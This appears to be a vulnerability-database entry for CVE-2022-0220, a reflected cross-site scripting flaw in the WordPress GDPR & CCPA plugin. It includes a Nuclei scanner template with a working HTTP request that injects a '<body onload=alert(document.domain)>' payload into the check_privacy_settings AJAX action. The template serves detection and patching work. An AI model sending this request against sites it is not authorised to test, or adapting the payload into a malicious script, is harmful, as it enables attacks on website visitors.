WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting

🗓️ 07 Jul 2026 03:01:27Reported by ProjectDiscoveryType

WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting vulnerability with unauthenticated AJAX actio

Reporter	Title	Published	Views	Family All 14
ATTACKERKB	CVE-2022-0220	1 Feb 202213:15	–	attackerkb
BDU FSTEC	The vulnerability of the check_privacy_settings function in the WordPress plugin’s GDPR content management system allows a hacker to execute XSS attacks.	15 Nov 202300:00	–	bdu_fstec
CNNVD	WordPress plugin 跨站脚本漏洞	1 Feb 202200:00	–	cnnvd
CVE	CVE-2022-0220	1 Feb 202212:21	–	cve
Cvelist	CVE-2022-0220 WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting	1 Feb 202212:21	–	cvelist
EUVD	EUVD-2022-15421	3 Oct 202520:07	–	euvd
NVD	CVE-2022-0220	1 Feb 202213:15	–	nvd
OSV	CVE-2022-0220	1 Feb 202213:15	–	osv
Patchstack	WordPress WordPress GDPR & CCPA premium plugin <= 1.9.26 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability	26 Jan 202200:00	–	patchstack
Prion	Type confusion	1 Feb 202213:15	–	prion

Source	Link
wpscan	www.wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
nvd	www.nvd.nist.gov/vuln/detail/CVE-2022-0220
github	www.github.com/ARPSyndicate/cvemon
github	www.github.com/ARPSyndicate/kenzer-templates

id: CVE-2022-0220

info:
  name: WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type, and JavaScript code may be executed on a victim's browser.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users.
  reference:
    - https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0220
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0220
    cwe-id: CWE-116
    epss-score: 0.0231
    epss-percentile: 0.81303
    cpe: cpe:2.3:a:welaunch:wordpress_gdpr\&ccpa:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: welaunch
    product: wordpress_gdpr\&ccpa
    framework: wordpress
  tags: cve2022,cve,wpscan,wordpress,wp-plugin,wp,xss,unauth,welaunch,vuln

http:
  - raw:
      - |
        GET /wp-admin HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(header_2, 'text/html')"
          - "status_code_2 == 200"
          - "contains(body_2, '<body onload=alert(document.domain)>') && contains(body_2, '/wp-content/plugins/')"
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'nonce":"([0-9a-z]+)'
        internal: true
        part: body
# digest: 490a00463044022003c5644a6260a806188c9bcaadb3ec8b603eae8f234e5634b48de37b0ce27f230220618b0d7525c5db2bb64f64d25779d8e79826111483fec01cefadee4f00d067c0:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

6.3Medium risk

Vulners AI Score6.3

CVSS 24.3

CVSS 3.16.1

EPSS0.0231